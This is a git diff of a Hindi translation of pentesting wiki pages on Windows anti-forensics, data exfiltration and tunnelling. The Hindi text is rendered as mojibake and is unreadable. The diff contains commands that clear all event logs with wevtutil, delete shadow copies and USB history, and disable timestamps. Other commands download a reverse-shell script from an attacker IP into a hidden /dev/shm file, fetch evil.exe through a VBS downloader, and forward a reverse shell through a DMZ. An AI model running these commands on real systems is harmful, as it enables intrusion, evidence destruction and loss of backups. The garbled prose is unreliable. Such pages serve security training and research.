рдХреБрдВрдЬреА рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдП рдЧрдП рдкреНрд░рддреНрдпреЗрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЗ рд▓рд┐рдП рджрд┐рдирд╛рдВрдХ рдФрд░ рд╕рдордп рдмрдирд╛рдП рд░рдЦрддреА рд╣реИред +рдпрд╣ рдПрдХ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдП рдЧрдП рдкреНрд░рддреНрдпреЗрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреА рддрд╛рд░реАрдЦреЛрдВ рдФрд░ рдШрдВрдЯреЛрдВ рдХреЛ рдмрдирд╛рдП рд░рдЦрддреА рд╣реИред UserAssist рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреЛ рдЪрд░рдгреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ: @@ -88,51 +88,51 @@ UserAssist рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреЛ рдЪрд░рдг ## рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдЕрдХреНрд╖рдо рдХрд░реЗрдВ - Prefetch -рдпрд╣ рдЙрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╕рд╣реЗрдЬрддрд╛ рд╣реИ рдЬреЛ Windows рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдореЗрдВ рд╕реБрдзрд╛рд░ рдХреЗ рд▓рдХреНрд╖реНрдп рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдП рдЬрд╛рддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдлреЙрд░реЗрдВрд╕рд┐рдХ рдкреНрд░рдерд╛рдУрдВ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +рдпрд╣ рдЙрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╕рд╣реЗрдЬрддрд╛ рд╣реИ рдЬреЛ Windows рдкреНрд░рдгрд╛рд▓реА рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдореЗрдВ рд╕реБрдзрд╛рд░ рдХреЗ рд▓рдХреНрд╖реНрдп рдХреЗ рд╕рд╛рде рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдлреЙрд░реЗрдВрд╕рд┐рдХ рдкреНрд░рдерд╛рдУрдВ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -- `regedit` рдЪрд▓рд╛рдПрдБ +- `regedit` рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ - рдлрд╝рд╛рдЗрд▓ рдкрде рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- `EnablePrefetcher` рдФрд░ `EnableSuperfetch` рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ +- рджреЛрдиреЛрдВ `EnablePrefetcher` рдФрд░ `EnableSuperfetch` рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ - рдкреНрд░рддреНрдпреЗрдХ рдкрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рдорд╛рди 1 (рдпрд╛ 3) рд╕реЗ 0 рдореЗрдВ рдмрджрд▓ рдЬрд╛рдП - рдкреБрдирд░рд╛рд░рдВрдн рдХрд░реЗрдВ ## рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдЕрдХреНрд╖рдо рдХрд░реЗрдВ - рдЕрдВрддрд┐рдо рдкрд╣реБрдБрдЪ рд╕рдордп -рдЬрдм рднреА рдПрдХ рдлрд╝реЛрд▓реНрдбрд░ NTFS рд╡реЙрд▓реНрдпреВрдо рд╕реЗ Windows NT рд╕рд░реНрд╡рд░ рдкрд░ рдЦреЛрд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рддреНрдпреЗрдХ рд╕реВрдЪреАрдмрджреНрдз рдлрд╝реЛрд▓реНрдбрд░ рдкрд░ **рдПрдХ рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдлрд╝реАрд▓реНрдб рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдордп рд▓реЗрддрд╛ рд╣реИ**, рдЬрд┐рд╕реЗ рдЕрдВрддрд┐рдо рдкрд╣реБрдБрдЪ рд╕рдордп рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рднрд╛рд░реА рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП NTFS рд╡реЙрд▓реНрдпреВрдо рдкрд░, рдпрд╣ рдкреНрд░рджрд░реНрд╢рди рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рдЬрдм рднреА Windows NT рд╕рд░реНрд╡рд░ рдкрд░ NTFS рд╡реЙрд▓реНрдпреВрдо рд╕реЗ рдПрдХ рдлрд╝реЛрд▓реНрдбрд░ рдЦреЛрд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рддреНрдпреЗрдХ рд╕реВрдЪреАрдмрджреНрдз рдлрд╝реЛрд▓реНрдбрд░ рдкрд░ **рдПрдХ рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдлрд╝реАрд▓реНрдб рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдордп рд▓реЗрддрд╛ рд╣реИ**, рдЬрд┐рд╕реЗ рдЕрдВрддрд┐рдо рдкрд╣реБрдБрдЪ рд╕рдордп рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рднрд╛рд░реА рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП NTFS рд╡реЙрд▓реНрдпреВрдо рдкрд░, рдпрд╣ рдкреНрд░рджрд░реНрд╢рди рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред 1. рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕рдВрдкрд╛рджрдХ (Regedit.exe) рдЦреЛрд▓реЗрдВред -2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem` рдкрд░ рдЬрд╛рдПрдБред +2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem` рдкрд░ рдЬрд╛рдПрдВред 3. `NtfsDisableLastAccessUpdate` рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВред рдпрджрд┐ рдпрд╣ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ, рддреЛ рдЗрд╕ DWORD рдХреЛ рдЬреЛрдбрд╝реЗрдВ рдФрд░ рдЗрд╕рдХрд╛ рдорд╛рди 1 рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдВ, рдЬреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░ рджреЗрдЧрд╛ред 4. рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╕рдВрдкрд╛рджрдХ рдХреЛ рдмрдВрдж рдХрд░реЗрдВ, рдФрд░ рд╕рд░реНрд╡рд░ рдХреЛ рдкреБрдирд░рд╛рд░рдВрдн рдХрд░реЗрдВред -## USB рдЗрддрд┐рд╣рд╛рд╕ рд╣рдЯрд╛рдПрдБ +## USB рдЗрддрд┐рд╣рд╛рд╕ рд╣рдЯрд╛рдПрдВ рд╕рднреА **USB рдбрд┐рд╡рд╛рдЗрд╕ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ** Windows рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ **USBSTOR** рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА рдХреЗ рддрд╣рдд рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рдЙрдк рдХреБрдВрдЬрд┐рдпрд╛рдБ рд╣реЛрддреА рд╣реИрдВ рдЬреЛ рддрдм рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИрдВ рдЬрдм рдЖрдк рдЕрдкрдиреЗ рдкреАрд╕реА рдпрд╛ рд▓реИрдкрдЯреЙрдк рдореЗрдВ USB рдбрд┐рд╡рд╛рдЗрд╕ рд▓рдЧрд╛рддреЗ рд╣реИрдВред рдЖрдк рдЗрд╕ рдХреБрдВрдЬреА рдХреЛ рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`ред **рдЗрд╕реЗ рд╣рдЯрд╛рдиреЗ рд╕реЗ** рдЖрдк USB рдЗрддрд┐рд╣рд╛рд╕ рдХреЛ рд╣рдЯрд╛ рджреЗрдВрдЧреЗред\ рдЖрдк рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) рдЙрдкрдХрд░рдг рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдиреЗ рдЙрдиреНрд╣реЗрдВ рд╣рдЯрд╛ рджрд┐рдпрд╛ рд╣реИ (рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╣рдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП)ред -рдПрдХ рдФрд░ рдлрд╝рд╛рдЗрд▓ рдЬреЛ USB рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╕рд╣реЗрдЬрддреА рд╣реИ рд╡рд╣ рд╣реИ рдлрд╝рд╛рдЗрд▓ `setupapi.dev.log` рдЬреЛ `C:\Windows\INF` рдХреЗ рдЕрдВрджрд░ рд╣реИред рдЗрд╕реЗ рднреА рд╣рдЯрд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред +рдПрдХ рдФрд░ рдлрд╝рд╛рдЗрд▓ рдЬреЛ USB рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╕рд╣реЗрдЬрддреА рд╣реИ рд╡рд╣ рдлрд╝рд╛рдЗрд▓ `setupapi.dev.log` рд╣реИ рдЬреЛ `C:\Windows\INF` рдХреЗ рдЕрдВрджрд░ рд╣реИред рдЗрд╕реЗ рднреА рд╣рдЯрд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред ## рд╢реИрдбреЛ рдХреЙрдкреАрдЬрд╝ рдЕрдХреНрд╖рдо рдХрд░реЗрдВ **рд╢реИрдбреЛ рдХреЙрдкреАрдЬрд╝** рдХреА рд╕реВрдЪреА рдмрдирд╛рдПрдВ `vssadmin list shadowstorage`\ -**рдЙрдиреНрд╣реЗрдВ рд╣рдЯрд╛рдПрдБ** `vssadmin delete shadow` рдЪрд▓рд╛рдХрд░ +**рдЗрдиреНрд╣реЗрдВ рд╣рдЯрд╛рдПрдВ** `vssadmin delete shadow` рдЪрд▓рд╛рдХрд░ -рдЖрдк GUI рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреА рдЙрдиреНрд╣реЗрдВ рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВ [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) рдореЗрдВ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдЪрд░рдгреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдХреЗред +рдЖрдк GUI рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреА рдЗрдиреНрд╣реЗрдВ рд╣рдЯрд╛ рд╕рдХрддреЗ рд╣реИрдВ [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) рдореЗрдВ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдЪрд░рдгреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдХреЗред рд╢реИрдбреЛ рдХреЙрдкреАрдЬрд╝ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП [рдпрд╣рд╛рдБ рд╕реЗ рдЪрд░рдг](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): 1. Windows рд╕реНрдЯрд╛рд░реНрдЯ рдмрдЯрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдЯреЗрдХреНрд╕реНрдЯ рд╕рд░реНрдЪ рдмреЙрдХреНрд╕ рдореЗрдВ "services" рдЯрд╛рдЗрдк рдХрд░рдХреЗ рд╕реЗрд╡рд╛рдПрдБ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЦреЛрд▓реЗрдВред -2. рд╕реВрдЪреА рдореЗрдВ "Volume Shadow Copy" рдЦреЛрдЬреЗрдВ, рдЗрд╕реЗ рдЪреБрдиреЗрдВ, рдФрд░ рдлрд┐рд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ рдкреНрд░реЙрдкрд░реНрдЯреАрдЬрд╝ рдкрд░ рдЬрд╛рдПрдБред +2. рд╕реВрдЪреА рдореЗрдВ "Volume Shadow Copy" рдЦреЛрдЬреЗрдВ, рдЗрд╕реЗ рдЪреБрдиреЗрдВ, рдФрд░ рдлрд┐рд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ рдкреНрд░реЙрдкрд░реНрдЯреАрдЬрд╝ рдкрд░ рдЬрд╛рдПрдВред 3. "Startup type" рдбреНрд░реЙрдк-рдбрд╛рдЙрди рдореЗрдиреВ рд╕реЗ Disabled рдЪреБрдиреЗрдВ, рдФрд░ рдлрд┐рд░ Apply рдФрд░ OK рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ рдкрд░рд┐рд╡рд░реНрддрди рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВред -рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рд░рдЬрд┐рд╕реНрдЯреНрд░реА `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` рдореЗрдВ рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬрд┐рдиреНрд╣реЗрдВ рд╢реИрдбреЛ рдХреЙрдкреА рдореЗрдВ рдХреЙрдкреА рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред +рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рд░рдЬрд┐рд╕реНрдЯреНрд░реА `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` рдореЗрдВ рд╢реИрдбреЛ рдХреЙрдкреА рдореЗрдВ рдХреЙрдкреА рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПред ## рд╣рдЯрд╛рдИ рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ -- рдЖрдк рдПрдХ **Windows рдЙрдкрдХрд░рдг** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: `cipher /w:C` рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрдЧрд╛ рдХрд┐ рд╕рд┐рдлрд░ C рдбреНрд░рд╛рдЗрд╡ рдХреЗ рдЕрдВрджрд░ рдЙрдкрд▓рдмреНрдз рдЕрдкреНрд░рдпреБрдХреНрдд рдбрд┐рд╕реНрдХ рд╕реНрдерд╛рди рд╕реЗ рдХрд┐рд╕реА рднреА рдбреЗрдЯрд╛ рдХреЛ рд╣рдЯрд╛ рджреЗред +- рдЖрдк рдПрдХ **Windows рдЙрдкрдХрд░рдг** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: `cipher /w:C` рдпрд╣ рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХрд░реЗрдЧрд╛ рдХрд┐ рд╕рд┐рдлрд░ C рдбреНрд░рд╛рдЗрд╡ рдХреЗ рдЕрдВрджрд░ рдЙрдкрд▓рдмреНрдз рдЕрдирдпреВрдЬреНрдб рдбрд┐рд╕реНрдХ рд╕реНрдкреЗрд╕ рд╕реЗ рдХрд┐рд╕реА рднреА рдбреЗрдЯрд╛ рдХреЛ рд╣рдЯрд╛ рджреЗред - рдЖрдк [**Eraser**](https://eraser.heidi.ie) рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -## Windows рдЗрд╡реЗрдВрдЯ рд▓реЙрдЧ рд╣рдЯрд╛рдПрдБ +## Windows рдЗрд╡реЗрдВрдЯ рд▓реЙрдЧ рд╣рдЯрд╛рдПрдВ - Windows + R --> eventvwr.msc --> "Windows Logs" рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд░реЗрдВ --> рдкреНрд░рддреНрдпреЗрдХ рд╢реНрд░реЗрдгреА рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ "Clear Log" рдЪреБрдиреЗрдВ - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index ff82dc6e2..33aab1439 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -4,7 +4,7 @@ ## рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯреЗрдб рдбреЛрдореЗрди -рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯреЗрдб рдбреЛрдореЗрди рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП [https://lots-project.com/](https://lots-project.com/) рдкрд░ рдЬрд╛рдВрдЪреЗрдВ +рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯреЗрдб рдбреЛрдореЗрди рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП [https://lots-project.com/](https://lots-project.com/) рдкрд░ рдЬрд╛рдПрдВ ## Copy\&Paste Base64 @@ -20,7 +20,7 @@ certutil -decode payload.b64 payload.dll ``` ## HTTP -**рд▓рд┐рдирдХреНрд╕** +**Linux** ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm @@ -150,7 +150,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` -рдпрд╛ smb рд╢реЗрдпрд░ **samba рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ** рдмрдирд╛рдПрдВ: +рдпрд╛ smb рд╢реЗрдпрд░ **samba** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдПрдВ: ```bash apt-get install samba mkdir /tmp/smb @@ -296,13 +296,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe -`debug.exe` рдкреНрд░реЛрдЧреНрд░рд╛рдо рди рдХреЗрд╡рд▓ рдмрд╛рдЗрдирд░реА рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдмрд▓реНрдХрд┐ рдЗрд╕рдореЗрдВ **рд╣реИрдХреНрд╕ рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдиреЗ рдХреА рдХреНрд╖рдорддрд╛** рднреА рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдПрдХ рдмрд╛рдЗрдирд░реА рдХрд╛ рд╣реИрдХреНрд╕ рдкреНрд░рджрд╛рди рдХрд░рдХреЗ, `debug.exe` рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ debug.exe рдореЗрдВ **64 kb рдЖрдХрд╛рд░ рддрдХ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЕрд╕реЗрдВрдмрд▓ рдХрд░рдиреЗ рдХреА рд╕реАрдорд╛** рд╣реИред +The `debug.exe` рдкреНрд░реЛрдЧреНрд░рд╛рдо рди рдХреЗрд╡рд▓ рдмрд╛рдЗрдирд░реА рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдмрд▓реНрдХрд┐ рдЗрд╕рдореЗрдВ **рд╣реИрдХреНрд╕ рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рднреА рд╣реИ**ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдПрдХ рдмрд╛рдЗрдирд░реА рдХрд╛ рд╣реИрдХреНрд╕ рдкреНрд░рджрд╛рди рдХрд░рдХреЗ, `debug.exe` рдмрд╛рдЗрдирд░реА рдлрд╝рд╛рдЗрд▓ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ debug.exe рдореЗрдВ **64 kb рдЖрдХрд╛рд░ рддрдХ рдХреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдЕрд╕реЗрдВрдмрд▓ рдХрд░рдиреЗ рдХреА рд╕реАрдорд╛ рд╣реИ**ред ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` -рдлрд┐рд░ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рд╡рд┐рдВрдбреЛрдЬ-рд╢реЗрд▓ рдореЗрдВ рдХреЙрдкреА-рдкреЗрд╕реНрдЯ рдХрд░реЗрдВ рдФрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ nc.exe рдмрдирд╛рдИ рдЬрд╛рдПрдЧреАред +рдлрд┐рд░ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рд╡рд┐рдВрдбреЛрдЬ-рд╢реЗрд▓ рдореЗрдВ рдХреЙрдкреА-рдкреЗрд╕реНрдЯ рдХрд░реЗрдВ рдФрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдИ рдЬрд╛рдПрдЧреА рдЬрд┐рд╕рдХрд╛ рдирд╛рдо nc.exe рд╣реЛрдЧрд╛ред ## DNS diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index b09e8f54b..dba0b804b 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -1,8 +1,8 @@ -# рдЯрдирд▓рд┐рдВрдЧ рдФрд░ рдкреЛрд░реНрдЯ рдлреЙрд░рд╡рд░реНрдбрд┐рдВрдЧ +# Tunneling and Port Forwarding {{#include ../banners/hacktricks-training.md}} -## Nmap рдЯрд┐рдк +## Nmap tip > [!WARNING] > **ICMP** рдФрд░ **SYN** рд╕реНрдХреИрди рдХреЛ рд╕реЙрдХреНрд╕ рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯрдирд▓ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛, рдЗрд╕рд▓рд┐рдП рд╣рдореЗрдВ **рдкрд┐рдВрдЧ рдбрд┐рд╕реНрдХрд╡рд░реА** рдХреЛ **рдЕрдХреНрд╖рдо** рдХрд░рдирд╛ рд╣реЛрдЧрд╛ (`-Pn`) рдФрд░ рдЗрд╕рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **TCP рд╕реНрдХреИрди** (`-sT`) рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред @@ -43,7 +43,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in ``` ### Port2Port -рд╕реНрдерд╛рдиреАрдп рдкреЛрд░реНрдЯ --> рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛрд╕реНрдЯ (SSH) --> рддреАрд╕рд░рд╛_рдмреЙрдХреНрд╕:рдкреЛрд░реНрдЯ +рд╕реНрдерд╛рдиреАрдп рдкреЛрд░реНрдЯ --> рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛрд╕реНрдЯ (SSH) --> Third_box:Port ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example @@ -57,7 +57,7 @@ ssh -f -N -D @ #All sent to local port ``` ### Reverse Port Forwarding -рдпрд╣ рдЖрдВрддрд░рд┐рдХ рд╣реЛрд╕реНрдЯ рд╕реЗ DMZ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрдкрдХреЗ рд╣реЛрд╕реНрдЯ рдкрд░ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ: +рдпрд╣ рдЖрдВрддрд░рд┐рдХ рд╣реЛрд╕реНрдЯ рд╕реЗ рдПрдХ DMZ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрдкрдХреЗ рд╣реЛрд╕реНрдЯ рдкрд░ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000 @@ -104,7 +104,7 @@ sshuttle 